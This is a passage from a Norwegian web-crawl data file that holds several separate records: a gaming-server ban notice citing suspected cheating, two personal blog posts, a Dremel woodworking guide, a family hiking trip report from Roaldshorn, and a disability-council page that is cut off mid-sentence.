Vi testet mange ganger om vi la oss p\u00e5 en plass i prone position uten \u00e5 skyte eller bevege opps og uten at det var recon/engi bot i n\u00e6rheten og du kom like fullt hoppende over kanter/forbi hj\u00f8rner og drepte dem. Helt greit at dette skjer i blandt, men n\u00e5r du gjetter riktig 100% av tiden s\u00e5 er det noe cheesy p\u00e5 gang. Dette ble til stadighet tatt opp og vi fikk sp\u00f8rsm\u00e5let om hvorfor ledelsen ikke hadde fjernet deg for lenge siden.  \n  \n\\-Vi er klar over at du har spillt i RR f\u00f8r, men dette er faktisk noe som heller har skadet deg mer enn hjulpet deg da vi har f\u00e5tt rapporter om litt tvilsome holdninger til exploits og liknende.  \n  \n\\-Vi har brukt laaaaang tid p\u00e5 \u00e5 f\u00f8lge deg. Det har ikke v\u00e6rt en lett avgj\u00f8relse, men vi var n\u00f8dt \u00e5 falle p\u00e5 en konklusjon. Om konklusjonen ikke passer deg s\u00e5 beklager vi det, men vi m\u00e5 beskytte serveren v\u00e5r. Dette er en server-ban ikke en mass-server ban og dermed st\u00e5r du fritt til \u00e5 leke deg p\u00e5 andre servere.  \n  \nMvh  \nArknath\n\n  \n\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_  \n  \n  \n\nThu Nov 03, 2011 2:43 pm\n\n", "language": "no", "__index_level_0__": "1cd69000-b214-40a5-ae40-9705b87157cb"}
{"url": "http://baktanker.blogspot.com/2006/09/en-nlende-blogger-tar-fart.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00353.warc.gz", "warc_date": "2018-03-24T23:37:05Z", "text": " \n\n## fredag, september 15, 2006\n\n### En n\u00f8lende blogger tar fart\n\n  \n  \nMin gamle studiekamerat John Tore, som er bosatt i Bod\u00f8 og er skolebibliotekar, sm\u00e5barnsfar og fortsatt relativt nygift, har lenge v\u00e6rt n\u00f8lende i forhold til det \u00e5 bli en blogger. N\u00e5 har han endelig latt seg overtale, og resultatet kan ses her. Dette blir bra\\!  \n  \nJeg slenger med en link til Rachel med det samme. Hun er en erfaren og entusiastisk blogger, men hun har den uvanen \u00e5 av og til slette alt hun har skrevet. Ikke gj\u00f8r det denne gangen da Rachel\\!\n\n3:24 p.m.              \n\n \n#### 1 kommentar:\n\nHehe det var litt av et hippiebilde ja....Det eneste som finnes. Men du vet jeg synes stort sett det samme om hippier som Cartman gj\u00f8r.\n\n l\u00f8rdag, september 16, 2006    \n\n", "language": "no", "__index_level_0__": "331766c9-d210-4799-851c-297c2e6533e3"}
{"url": "https://www.dremeleurope.com/no/no/lagetslangepuslespillavtre-7404-ocs-pj/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00170.warc.gz", "warc_date": "2018-03-24T23:05:15Z", "text": "\nSkritt 1\n\nKj\u00f8p en MDF-plate og f\u00e5 den sk\u00e5ret for deg p\u00e5 din lokale gj\u00f8r-det-selv-butikk til n\u00f8yaktig 55 cm x 50 cm. N\u00e5r du f\u00e5r den hjem, tegn en sirkel p\u00e5 den med diameter p\u00e5 50 cm. Denne vil bli konturen av det sammenrullede slangepuslespillet. Deretter lager du deg en \u00abtegneveiledning\u00bb. Da kan du tegne to parallelle streker i form av slangens kropp inne i sirkelen p\u00e5 50 cm. For \u00e5 lage tegneveiledningen, skj\u00e6r til et stykke skrapved p\u00e5 7,5 cm x 10 cm med Dremel\u00ae Moto-Saw. Deretter taper du en blyant til hver kant og tegner den sammenrullede kroppen til slangen inne i sirkelen. Lag hodet og halen ved \u00e5 frih\u00e5ndstegne dem.\n\n\n\nSkritt 2\n\nM\u00e5l lengden p\u00e5 slangekroppen, uten hode og hale, med et m\u00e5leb\u00e5nd og del den opp i 26 like store deler. Tegn deretter delene p\u00e5 puslespillet som griper i hverandre p\u00e5 hver del, som fungerer som veiledning. Skj\u00e6r ut slangen med Dremel Moto-Saw og det grove sagbladet MS51 for tre, ved \u00e5 skj\u00e6re langs strekene du har tegnet p\u00e5 begge sider av kroppen og rundt hodet og halen.\n\n\n\nSkritt 3\n\nSkj\u00e6r n\u00e5 ut delene av slangen, idet du f\u00f8lger strekene du har tegnet, inkludert puslespillbitene, med Dremel Moto-Saw og det fine sagbladet MS52 for tre.\n\n\n\nSkritt 4\n\nPuss forsiktig bort ru kanter med Dremel 3000 med EZ SpeedClic pusseskive SC411 bare p\u00e5 kantene av slangen. Ikke puss puslespillbitene som g\u00e5r i hverandre, da det vil resultere i at bitene ikke vil sitte s\u00e5 godt sammen.\n\n\n\nMal p\u00e5 ett tall per del og pynt med barnevennlige farger idet du skaper din egen design, inkludert bilder, for \u00e5 skape engasjement.\n\n", "language": "no", "__index_level_0__": "feeeaab7-963a-4bf3-bcdf-fa85e52ed2ac"}
{"url": "http://baktanker.blogspot.com/2007/01/hvitvin-mormonere-og-en-farlig.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00283.warc.gz", "warc_date": "2018-03-24T23:37:20Z", "text": " \n\n## tirsdag, januar 09, 2007\n\n### Hvitvin, mormonere og en farlig deodorant\n\nJeg reiste alts\u00e5 en minitur til Oslo p\u00e5 l\u00f8rdag. Allerede p\u00e5 vei til flybussen skjedde noe interessant: Jeg m\u00f8tte en representant for Jesu Kristi kirke av de siste dagers hellige (bedre kjent som Mormonerne) som gav meg et eksemplar av Mormons bok. Han jeg snakka med var en \"eldste\" selv om han sikkert ikke var eldre enn 25, og han var amerikaner slik mormonerne ofte er. Han forsikra meg om at alt i Mormons bok stemmer helt med Bibelen. Helt 100 %. Likevel p\u00e5st\u00e5r de p\u00e5 et kort som fulgte med boka at ekteskap kan vare i all evighet, alt\u00e5 ogs\u00e5 etter d\u00f8den. Dette til tross for det Jesus sier i Lukas 20, 27-44. Mystisk...  \n  \nN\u00e5r jeg kom til flyplassen i Stavanger ble jeg et offer for de nye og strenge sikkerhetsreglene. Deodoranten min var nemlig for stor til \u00e5 ta med som h\u00e5ndbagasje. Den er p\u00e5 200 ml, det er akkurat dobbelt s\u00e5 mye som er lovlig... Alts\u00e5 m\u00e5tte jeg sende bagasjen min. Enkelte vil sikkert p\u00e5st\u00e5 at det er mer terror mot de andre passasjerene \u00e5 la meg reise uten deodorant. Jeg er p\u00e5 ingen m\u00e5te uenig.  \n  \nVel framme i Oslo var det tur p\u00e5 byen sammen med Dag, John Tore og Erlend. Jakob kom ogs\u00e5 og var med en stund. Det var en bra kveld\\! Vi var p\u00e5 Hard Rock Cafe, Sorrento og Belfry, avbrutt av et lite pitstop p\u00e5 Burger King. Jeg og Erlend avslutta kvelden som seg h\u00f8r og b\u00f8r med kebab p\u00e5 Lett & Mett. F\u00f8r det hadde jeg skylt passelige mengder hvitvin og \u00f8l. Snadder\\!  \n  \nHer er gutta p\u00e5 Hard Rock Cafe. Jeg befinner meg bak kamera.  \n  \n  \n  \nHer er et bilde tatt med John Tores kamera der mitt alvorlige ansikt faktisk kan skues i all sin manglende prakt.  \n  \n#### 4 kommentarer:\n\n\n\n\n\nKjell Rune sa...\n\nLykke te te mormonarane...;)  \nL\u00f8ye at du ikkje e st\u00f8rre horisontalt... \u00d8l, burger, kebab... Men det h\u00f8rrtes jo stas ut. Kos deg med ditt. Kjekt med et lite reisebrev. Det e jo alltid spennande.  \nkR\n\n tirsdag, januar 09, 2007    \n\n \n\nJohn Tore sa...\n\nJa vi hadde en bra kveld\\! Vi fant ogs\u00e5 ut at din grense g\u00e5r etter 5 \u00f8l og 4 glass med hvitvin....hehe.  \n  \nDet jeg kan om mormonerne har jeg l\u00e6rt av South Park. En ordentlig bel\u00e6rende episode med en morsom dumdum-sang.  \n  \nhttp://www.southparkstudios.com/show/display\\_episode.php?season=7\\&id1=712\\&id2=111\n\n onsdag, januar 10, 2007    \n\n\n\n\n\nKjell Rune har helt rett, mitt kosthold er et mareritt. Men JT har ogs\u00e5 rett, det var en bra kveld\\!\n\n onsdag, januar 10, 2007    \n\n\n\n\n\n", "language": "no", "__index_level_0__": "0e0c2248-4e89-45d4-8f19-d6a98859845b"}
{"url": "http://turmedlillemannogmor.blogspot.com/2014/10/familietur-til-roaldshorn-1230moh-med.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00630.warc.gz", "warc_date": "2018-03-24T23:45:14Z", "text": " \n\n## mandag 13. oktober 2014\n\n### Familietur til Roaldshorn 1230moh med gondolen p\u00e5 Strandafjellet.\n\n\n\n  \nLillemann er s\u00e5 glad i heiser\\! Alts\u00e5, skiheiser, s\u00e5nn som gondolen p\u00e5 Strandafjellet skisenter. Lillemann har tatt den turen 2 ganger f\u00f8r, og elsker den\\! Og som tradisjonen tro som ifjor, s\u00e5 samla en gjeng seg for \u00e5 ta turen den siste s\u00f8ndagen gondolen g\u00e5r opp for denne sesongen. Fra der gondolen stopper, er der en paviljong med matservering og utkikksplass. Men vi har som alle ganger f\u00f8r, m\u00e5let \u00e5 g\u00e5 opp p\u00e5 Roaldshorn. Fra paviljongen er det ca 650m \u00e5 g\u00e5 opp til toppen, overkommelig for sm\u00e5barnsfamilier ogs\u00e5. Mor stapper bilen full igjen, og vi er en herlig gjeng p\u00e5 7 som skal avg\u00e5rde. Lillemann, endelig skal du opp den heisa du har maset p\u00e5\\! :-D  \n  \n  \n  \nLillemann visste kor han skulle, og da han s\u00e5g at heisa gikk, s\u00e5 kom det er \"JAAAAAAAA\\!\\!\\!\\!\" i bilen s\u00e5 mor kjente det i \u00f8rene\\! Lykkelig liten eller?? Om enn tr\u00f8tt, lillemann var s\u00e5 innmari klar som det var mulig \u00e5 f\u00e5 han, endelig etter \u00e5 ha kj\u00f8rt forbi her i fleire m\u00e5neder s\u00e5 skulle han opp med heisa :-D  \n  \n  \n  \nGladgjengen denne turen som pressa seg sammen i gondolen er mormor, s\u00f8stern og fr\u00f8kenH.  \n  \n  \n  \n  \n  \n  \nP\u00e5 motsatt side, mor, lillemann, mrM og mrR.  \n  \n  \n  \n  \n  \nGutta var som klistra p\u00e5 vinduet for \u00e5 kikke ut. Lillemann for spenninga, dei 2 andre for dette var nytt, denne heisa he har dei ikkje tatt f\u00f8r.  \n  \n  \n  \n  \n  \nGondolen gir deg ei fantastisk utsikt utover Stranda. Her er Strandadalen, og mor peiker for kidsa at der ligg Grandiosafabrikken. Alle kikker spent. Den der?? Kuuuult\\!  \n  \n  \n  \n  \n  \nBlir fort langt ned, og du starter p\u00e5 430moh og ender oppe ved paviljongen p\u00e5 1067moh. Turen tar ca 7 min.  \n  \n  \n  \n  \n  \nOppe og gutta springer til utkikksplassen rett ved avstigninga. Skilt er satt opp med oversikt.  \n  \nFlott utsikt utover fjorden berre her\\! Rett ned er Stranda sentrum. Fjorden g\u00e5r forbi Stranda og vider inn til h\u00f8ge til Hellesylt og Geirangerfjorden. Rett fram g\u00e5r den over til \u00e5 bli Norddalfjorden og ender inne i Tafjord. Du ser fjell som Gr\u00f8tet 1519moh, Jolgr\u00f8hornet 1253moh, Vasstinden 1370moh osv. \u00a0  \n  \n  \n  \nPaviljongen ligg rett nedenfor endestasjonen, g\u00e5r vei ned. Skal ikkje ned dit no, men er avtalt en is etter v\u00e6rt p\u00e5 toppen ;-)  \n  \n  \n  \n  \n  \nStien er merka ifra endestasjonen, s\u00e5 berre \u00e5 begi se av g\u00e5rde.  \n  \n  \n  \n  \n  \nLillemann er meir opptatt av heisa enda. Vrir seg alt han kan for \u00e5 sj\u00e5 p\u00e5 den lengst mulig.  \n  \n  \n  \n  \n  \nNoen g\u00e5r rett opp, ok da f\u00e5r vi berre henge p\u00e5. Stien g\u00e5r egentlig p\u00e5 en m\u00e5te nedenfor ura s\u00e5 dere ikkje treng \u00e5 g\u00e5 den.  \n  \n  \n  \n  \n  \nSer ikke heisa, ser ikke heisa\\!\\!\\!\\! Lillemann er fortvila oppi meisa, vil sj\u00e5 p\u00e5 heisa heile tiden. Men lillemann da, mor kan ikkje g\u00e5 sidelengs heller.  \n  \n  \n  \n  \n  \nOperasjon \"Ta p\u00e5 lillemann votter\". S\u00f8stern p\u00e5 den ene siden, fr\u00f8kenH p\u00e5 den andre. Service\\! :-D  \n  \n  \n  \n  \n  \n  \n  \nMormor og gutta i ivrig prat om alt mulig. Gutta er i str\u00e5lende tur-hum\u00f8r og er noen skikkelige gode gutter \u00e5 ha med p\u00e5 tur :-)  \n  \n  \nIkkje verst utsikt \u00e5 ha n\u00e5r du er p\u00e5 vei mot toppen. Tenk deg her n\u00e5r du skal g\u00e5 p\u00e5 ski\\! Veien du ser der nede, er veien som g\u00e5r over fjellet til Sykkylven. Ser du det vatnet der nede ved veien? Buvatnet med Svartevatnet rett bak.. Du kan g\u00e5 herifra, f\u00f8lge fjellryggene, og ned til vatnet, er en tur p\u00e5 over 3 timer. Parker bilen ved vatnet og f\u00e5 noen til \u00e5 kj\u00f8re f\u00f8lget til gondolen, eller bruk 2 biler.  \n  \n  \n  \nEt ganske s\u00e5 forn\u00f8gd turf\u00f8lge dette her :-) mormor med 2 av sine barn, pluss 4 barnebarn p\u00e5 tur.  \n  \n  \n  \n  \n  \n  \nSom du ser p\u00e5 bilda, stien er bra den, og merkinga ogs\u00e5. Lillemann legg merke til at det ikkje er r\u00f8de T-er, men prikker. Mor forklarer at da leder i alle fall ikkje stien til noe hytte. Lillemann berre rister p\u00e5 hodet, ingen hytte, og virker oppgitt.  \n  \n  \n  \n  \n  \nLillemann syns no at stien er s\u00e5 bra, og har v\u00e6rt i meisa lenge nok. \"Vil g\u00e5 sj\u00f8l\" kjem det bestemt. Og noe av det f\u00f8rste han gjor, var \u00e5 plukke stein\\!  \n  \n  \n  \n  \n  \n  \n  \n  \nIkkje berre lillemann som plukker stein, vi var 5 stk som plukker\\! Mor inkludert :-/ ligg i familien dette. Fr\u00f8kenH med en fin r\u00f8d med gr\u00f8nt i.  \n  \n  \n  \n  \n  \nGutta ville ogs\u00e5 vise kva stein dei har funnet som dei syns var fine ;-)  \n  \n  \n  \n  \nSiste biten opp er litt steinete \u00e5 g\u00e5, men stien er litt rydda her og der, og er absolutt ikkje vanskelig \u00e5 g\u00e5. Lillemann f\u00e5r l\u00e5ne ei hand med Fr\u00f8kenH og syns det er stas \u00e5 ha med mange p\u00e5 tur.  \n  \n  \n  \n  \n  \nOg Fr\u00f8kenH var virkelig snill og passa p\u00e5 lillemann, der han skulle opp p\u00e5 alle dei store steinene og balansere. Litt uvant for mor, som er vant med \u00e5 enten b\u00e6re lillemann, eller leie han n\u00e5r han g\u00e5r sj\u00f8l. Han har s\u00e5 godt av at andre har han. Men s\u00e5 syns han det er litt stas ogs\u00e5.  \n  \n  \n  \n  \n  \n  \n\"Mommo\\! Mommo\\! Kom \u00e5 sj\u00e5\\!\" Lillemann har funnet en kjempe stor kvit stein, og den var s\u00e5 stor at han ikkje fekk Fr\u00f8kenH til \u00e5 b\u00e6re den. Mormor m\u00e5tte da selvf\u00f8lgelig snu, og komme til lillemann og sj\u00e5 den fantastiske steinen.  \n  \n  \n  \n  \n  \n  \nMor og s\u00f8stern p\u00e5 tur, igjen\\! 2 korte turer ilag dagen f\u00f8r, og s\u00e5 denne dagen her og\\! :-D Det skjer virkelig ikkje kvart \u00e5r :-S  \n  \n  \n  \n  \nSnille Fr\u00f8kenH.... ikkje nok med at ho passer p\u00e5 lillemann, men ho er hans private sherpa ogs\u00e5\\! Noen m\u00e5 da b\u00e6re alle steinene han finn, og han m\u00e5 jo plukke :-P  \n  \n  \n  \n  \n  \n  \nSamlingsm\u00f8te. Kven har funnet kva n\u00e5r det gjelder stein. Artig \u00e5 sj\u00e5 kva dei forskjellige ser i kvar sine steiner. B\u00e5de n\u00e5r det gjelder farger og form. Og litt kjekt \u00e5 sj\u00e5 at lillemann f\u00f8ler seg som en av gjengen, ser han f\u00f8ler seg stor.  \n  \n  \n  \n  \nMens gjengen har smamlingsm\u00f8te, s\u00e5 kan vi andre nyte utsikten utover fjord og fjell ;-) Dagen f\u00f8r s\u00e5 var det s\u00e5 str\u00e5lende sol til tider, no lavt skydekke og litt yr i lufta. Men uansett, en fin dag \u00e5 dra p\u00e5 tur p\u00e5.  \n  \n  \n  \n  \nLillemann finner no sin allierte i s\u00f8stern. Kjekt \u00e5 ha mange \u00e5 velge i\\!  \n  \n  \n  \n  \n  \nDei to gutta er som noen racere og omtrent flyg opp fjellsiden. Vi andre kjem etter. Ser en varde der oppe, men er ikkje toppvarden, men ser den s\u00e5 vidt rett bakom.  \n  \n  \n  \n  \n  \nS\u00e5\u00e5\u00e5\u00e5 stor\\! Lillemann elsker \u00e5 balansere\\! Og s\u00f8stern passer p\u00e5. (og fikser steiner som ramler ned)  \n  \n  \n  \n  \n  \n3 kjempe forn\u00f8gde gutter\\!\\! :-D Juhuuuuu\\!\\!\\!\\! Dei er no p\u00e5 1230moh og syns dei er s\u00e5 innmari h\u00f8gt oppe\\! Du ser jo s\u00e5 langt avg\u00e5rde her\\!  \n  \n  \nFr\u00f8kenH har funnet seg ei behagelig stilling, med utsikt ut mot Norddalsfjorden. Stranda sentrum er der nede bak varden. Av fjell p\u00e5 denne siden av fjorden ser du Skurdahornet 849moh til venstre, og til h\u00f8gre ser du Dregetua 693moh og Vardnakken 878moh.  \n  \n  \n\n\nTil h\u00f8gre for mor ser du inn Strandadalen og f\u00e5r Dregetua heilt til venstre, Fjellet n\u00e6rmest her er skitrekket p\u00e5 motsatt side, Furset trekket, med Tuvegga 1181moh. Du ser andre store fjell som Storhornet 1309moh, Ytstevasshornet, Dalmannshorn, Fremste og Heimste Bl\u00e5hornet osv. Nok av fjell og turm\u00e5l \u00e5 velge i her ;-)  \n  \n  \nTil h\u00f8gre igjen for mor, da ser du inn Fasteindalen, som leder til Ramstaddalen i Sykkylven. Fra venstre ser du Auskjeret 1203moh, Rastamstadvarden 962moh, f\u00f8r Storfjorden. Ser inn til \u00d8rskog og Stordalen her. Du ser noe innmari langt\\!  \n  \n  \n  \nDet er tid for litt mat. Uten mat og drikke, duger turf\u00f8tter ikkje\\! Og ikkje f\u00f8r man har spist at man f\u00e5r bel\u00f8nninga heller, seigemenn, biler og sjokolade :-P  \n  \n  \n  \n  \nMor og lillemann, ute p\u00e5 tur, igjen :-D Men det er ingen av oss som klager nei\\! Kjempe koselig \u00e5 ha med oss mange av v\u00e5re kj\u00e6re p\u00e5 tur \\<3  \n  \n  \n  \n  \n  \nLillemann er s\u00e5 glad for \u00e5 ha med b\u00e5de s\u00f8stern og Fr\u00f8kenH, og spesielt gutta som dessverre ikkje er med oss s\u00e5 ofte. Han f\u00f8ler seg litt som gutta n\u00e5r han f\u00e5r v\u00e6re ilag med dei, og dei er utrulig flinke til \u00e5 inkludere han.  \n  \n  \n  \n  \nEn s\u00e5nn aldri s\u00e5 liten skyflekk med s\u00e5nne sm\u00e5 v\u00e5te dr\u00e5per som innhold. Var noen som meinte at no burde vi dra heim, for ikkje kjekt med ren. Men det varte ikkje s\u00e5 lenge, og ikkje lenge nok til at noen vart v\u00e5t engang. Var heldige med den skyen der\\!  \n  \n  \n  \n  \nHeile gjengen samla :-) Mor teller..... 1,2,3,4,5. 5?? Kor er nr6? Han minste spretter s\u00e5nn rundt og sitt aldri still. Smiler og hopper og har rett og slett lopper i blodet. Han rakk akkurat \u00e5 hoppe ut av bildet, som vanlig.  \n  \n  \n  \nUtdeling ifra s\u00f8stern med litt dessert. Lillemann knip godt fast p\u00e5 det, redd for \u00e5 miste noe av det. Hadde det v\u00e6rt skiva s\u00e5 hadde det ikkje v\u00e6rt s\u00e5 n\u00f8ye, men godteri, det m\u00e5 passes veldig godt p\u00e5.  \n  \n  \n  \n  \n  \nEtter f\u00e5tt noen f\u00e5 dr\u00e5per p\u00e5 oss, fekk vi en tr\u00f8stepremie, en regnbue\\! :-D Den lyser s\u00e5 pent opp mellom Bl\u00e5fjellet 1144moh og Skurdahornet 849moh.  \n  \n  \n  \n  \nMors seigemenn p\u00e5 r\u00f8mmen\\!\\!\\! \u00c5 nei, dei stikker av\\!  \n  \n  \n  \n  \nIngen fare, gutta tar seg fort av r\u00f8mlingene, og forsikrer seg om at ingen gikk tapt i fjellheimen :-D  \n  \n  \n\n\nMor h\u00f8rte med mormor om det var greitt mor stakk til andre enden av toppen uten lillemann. Der f\u00e5r du denne flotte utsikten her\\! Rett ned til 2 av Bl\u00e5dalsvatna 835moh og 887moh. \u00a0Lengre bak ser du Nysetervatnet 340moh. Sykkylven sitt skitrekk ligg rett ved vatnet til venstre der. Av fjella n\u00e6rt her ser du Kleivdalsfjellet 1154moh \u00a0heilt til venstre, og Bl\u00e5fjellet 1144moh til heilt til h\u00f8gre.  \n  \n  \n\n\nEn nysgjerrig kar kjem etter mor for \u00e5 sj\u00e5 han ogs\u00e5. Stopp\\! Ikkje n\u00e6rmere no du\\!  \n  \n  \n  \nLillemann kjem ogs\u00e5 springendes, med mormor i h\u00e6lene. Skal no f\u00f8lge etter mor skj\u00f8nner du, og er sint p\u00e5 ei mormor som held han att. Han skj\u00f8nner ikkje at han ikkje kan ned til kanten, mor st\u00e5r jo der, da skal han og.  \n  \n  \n  \n  \n  \n  \nVisst du no zoomer inn p\u00e5 bildet, s\u00e5 ser du faktisk 4 personer som er p\u00e5 tur s\u00e5 midt p\u00e5 bildet som det er mulig \u00e5 f\u00e5 det.  \n  \n  \n  \n  \nMor peiker til Fr\u00f8kenH. Du har vatnet rett ned her, s\u00e5 ser du ei elv bakom til venstre. Ser dessverre ikkje vatnet elva kjem ifra, men det er elva som kjem ifra det vatnet vi gikk til og fiska og lagde b\u00e5l i Bl\u00e5dalen. Der var kode i Fj\u00f8re til fjells. S\u00e5 der har vi v\u00e6rt\\! :-)  \n  \n  \n  \n  \nAlle vart st\u00e5ende \u00e5 beundre den flotte utsikta. S\u00f8stern vart st\u00e5ende bak alle og tok bildet av oss. Samla gjeng, enige om at dette her virkelig er verdt en tur opp for \u00e5 sj\u00e5.  \n  \n  \n  \n  \n  \nLillemann st\u00e5r ikkje still s\u00e5 lenge, og studere mose, og da helst kaste den p\u00e5 mor er meget kjekt. Noe mor ikkje syns er like kjekt, for mose inni kl\u00e6r er ikkje like enkelt \u00e5 f\u00e5 ut. Men etter litt s\u00e5 kom no vi fram til at der var 4 forskjellige mose arter der, og forskjellige farger.  \n  \n  \n  \n  \n  \nLillemann med s\u00f8stern, klare for \u00e5 pakke sammen og dra til heisa.  \n  \n  \n\n\nEn forn\u00f8gd gjeng begir seg tilbake, og til en lovet is p\u00e5 paviljongen.  \n  \n  \n\n\nMor og lillemann tok en mini avstikker bort til skaret. Mor vart fortalt at for noen \u00e5r siden s\u00e5 var en kar uheldig ved den kanten, og for utenfor. Han klarte seg dessverre ikkje. Ser det er satt ut stikker lengre bak til sn\u00f8en kjem s\u00e5 folk held seg unna skaret.  \n  \n  \n  \nLillemann vil veldig fort til heisa, han vil kj\u00f8re heis\\!  \n  \n  \n  \n  \nDei andre har komt seg et godt stykke allerede, men det er fort \u00e5 ta dei att, berre sm\u00e5springe litt.  \n  \n  \n  \n  \n  \nNo f\u00f8lger gjengen stien, ikkje bort til skitrekk heisa og ned ura, men f\u00f8lger stien. Og f\u00e5r du sol p\u00e5 stien, s\u00e5 glitrer det veldig i kr\u00e5kes\u00f8lv her. Det blir nesten som \u00e5 g\u00e5 p\u00e5 en glittervei\\!  \n  \n  \n  \n  \n  \nDet kan ikkje skryte p\u00e5 seg \u00e5 v\u00e6re s\u00e6rlig med rypelyng her, men mor klarte \u00e5 finne en liten flekk med r\u00f8d rypelyng. Ja ryper ja, der flaug faktisk opp 3 stykker i ura.  \n  \n  \n  \n  \n  \n  \nHeisa\\!\\!\\! Jaaaaaaa\\!\\!\\! Lillemann jubler i meisa. At den gondolen skal glede en liten s\u00e5nn.....  \n  \n  \n  \n  \n  \nRetning paviljongen, og den er sikkert nesten full. Det er s\u00f8ndag, siste dag og folk her er veldig flinke til \u00e5 ta gondolen opp og spise middag eller ta seg en kaffi her. Denne gjengen har berre sikta seg inn p\u00e5 en is.  \n  \n  \n  \n  \nIs\\!\\!\\! Ikkje s\u00e5 varmt ute, men is vil vi ha. Og ser du eter p\u00e5 bildet, en kar mangler, igjen. Men det m\u00e5 no nevnes, paviljongen inne var omtrent full, og k\u00f8 ved kassa. Fullt kj\u00f8r og kun ei bak kassa, som ogs\u00e5 skulle lage til kaffi, servere vafler osv. En kar sprang i skytteltrafikk ifra kj\u00f8kkenet. Isen smelta i k\u00f8en og m\u00e5tte byttes ut.  \n  \nIs-utsikten :-)  \n  \nDet var en ganske s\u00e5 forn\u00f8gd gjeng som fekk \u00f8nskefargen p\u00e5 gondol vogna ned att. Gutta spurte om dei kunne ta en tur opp og ned med gondolen til, men har kj\u00f8pt kun tur/retur. Gutta kunne sikkert ha kj\u00f8rt b\u00e5de 2 og 3 runder med gondolen. Den som str\u00e5lte mest, var lillemann. Mor holdt l\u00f8ftet sitt med en tur med heisa f\u00f8r den stengte, og det gikk akkurat. S\u00e5nn var det ifjor h\u00f8st ogs\u00e5, siste dagen. Kanskje, og forh\u00e5pentligvis, s\u00e5 blir dette en h\u00f8st tradisjon at vi tar en tur opp med gondolen og g\u00e5r opp p\u00e5 Roaldshorn. Er kjempe kjekt med at vi samles s\u00e5 mange og g\u00e5r opp. Mor skal nok ha seg en tur opp i l\u00f8pet av vinteren ogs\u00e5, da med truger igjen med lillemann til toppen.  \n  \nmoroglillemannp\u00e5tur  kl. \n\n14:29           \n\n#### 6 kommentarer:\n\n1.  \n    \n    Amarant13. oktober 2014 kl. 23:43\n    \n    \u00c5 samle hele familien \u00e5 g\u00e5 dit en s\u00f8ndag i oktober,hadde v\u00e6rt noe det :) Dei vi hadde med storkosa seg,og var veldig enige om at dit vil vi igjenn :D  \n    \n    1.  \n        \n        moroglillemannp\u00e5tur14. oktober 2014 kl. 08:02\n        \n        Roaldgondolen er super s\u00e5nn for heile familien, unge og eldre. Etter f\u00f8rste gangen vi var opp, s\u00e5 har vi tatt den heisa 4 ganger no. Sj\u00f8l om den no stenger for sesongen, s\u00e5 er det mulig p\u00e5 vinteren ogs\u00e5, spesielt i p\u00e5sketider \u00e5 g\u00e5 dit med truger, eller ski :-)\n        \n2.  \n    \n    Jill c\",)14. oktober 2014 kl. 01:44\n    \n    Bra turtips \u00e5 ta med Noah p\u00e5 tur:)) Fin turuke:)))\n    \n    1.  \n        \n        moroglillemannp\u00e5tur14. oktober 2014 kl. 08:03\n        \n        Super plass \u00e5 ta med Noa Jill\\! Og med fantastisk utsikt ;-) Du f\u00e5r sette den opp til neste \u00e5r, siden den no stenger.  \n        Ha ei super turuke du ogs\u00e5 :))\n        \n3.  \n    \n    Camilla S\u00f8vik19. oktober 2014 kl. 08:47\n    \n    \u00c5h s\u00e5 fin tur:) tror du det er mulig og f\u00e5 med seg hunder i den gondolen?\n    \n    1.  \n        \n        moroglillemannp\u00e5tur19. oktober 2014 kl. 12:23\n        \n        Det trur eg absolutt er mulig Camilla\\! Har truffet p\u00e5 hunder p\u00e5 fjellet der et par ganger, og dei kom med gondolen. Var faktisk 3 hunder ved paviljongen n\u00e5r vi var der no (m\u00e5tte berre tenke meg om) Og f\u00e5r du anledning en dag til \u00e5 dra opp, virkelig gjer det\\! :-D\n        \n## Bes\u00f8kende :-)\n\n\n\n  - moroglillemannp\u00e5tur  \n    Er en 3 barnsmor som er veldig glad i \u00e5 g\u00e5 i fjellet. Har to ten\u00e5ringer, og har en liten f\u00f8dt i 2011. Som uteglad mamma har eg tatt med meg lillemann p\u00e5 turer siden han var 4mnd. Vi pr\u00f8ver oss p\u00e5 alt nytt innen friluft, og tar det meste med et smil :-) Ingen tur er for liten, heller ingen tur er for stor. Det er ingen hindring med \u00e5 ta med barn p\u00e5 tur, det er berre et nytt perspektiv og masse glede\\!\n\n## Hei og h\u00e5\\!\n\nTakk for at dokke stakk innom siden min\\! H\u00e5per at dokke fann litt inspirasjon og naturglede :) Legg gjerne att en kommentar med ris eller ros og h\u00e5per dokke stikk innom en annen dag ;)  \n  \nGrip dagen og nyt naturen :))  \n  \nTrude  \n\n    \n\n", "language": "no", "__index_level_0__": "90ede77b-a05d-4fe6-88c9-922b4f2ff24b"}
{"url": "http://mrkkurs.no/politikk/medvirkning/radet-for-likestilling-av-funksjonshemmede/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00301.warc.gz", "warc_date": "2018-03-24T23:19:59Z", "text": "# R\u00e5det for likestilling av funksjonshemmede\n\n.jpg)  R\u00e5det for likestilling av funksjonshemmede i Nordland er et r\u00e5dgivende organ for fylkeskommunen, statlige etater p\u00e5 fylkesniv\u00e5, kommuner og andre offentlige instanser og institusjoner.\n\nPublisert avTrond-Erlend Willassen\n\nVelkommen til fylkeskommunale og kommunale medlemmer i r\u00e5dene for likestilling av menneske med\u00a0nedsatt funksjonsevne.\n\n\n\nHedret for str\u00e5lende innsats\n\nUnder Landskonferansen for funksjonshemmede ble fem gjester spesielt hedret for sin innsats for R\u00e5det for likestilling av funksjonshemmede i Nordland.\n\n\u00a0\n.jpg)\n\nHOLDNINGER ER N\u00d8KKELEN\\! Landskonferanse for fylkesr\u00e5d for funksjonshemmede 2015\n\nR\u00e5det for likestilling av funksjonshemmede i Nordland\u00a0arrangerte Landskonferansen for fylkesr\u00e5d for funksjonshemmede\u00a019 - 20. august\u00a02015. Foredragene er lagt ut under - det er f\u00e5 som er igjen, men de som mangler kommer fortl\u00f8pende.\n\nVil du vite mer, kan du ta kontakt med Nick Williams email@example.com eller Renate Yeboah 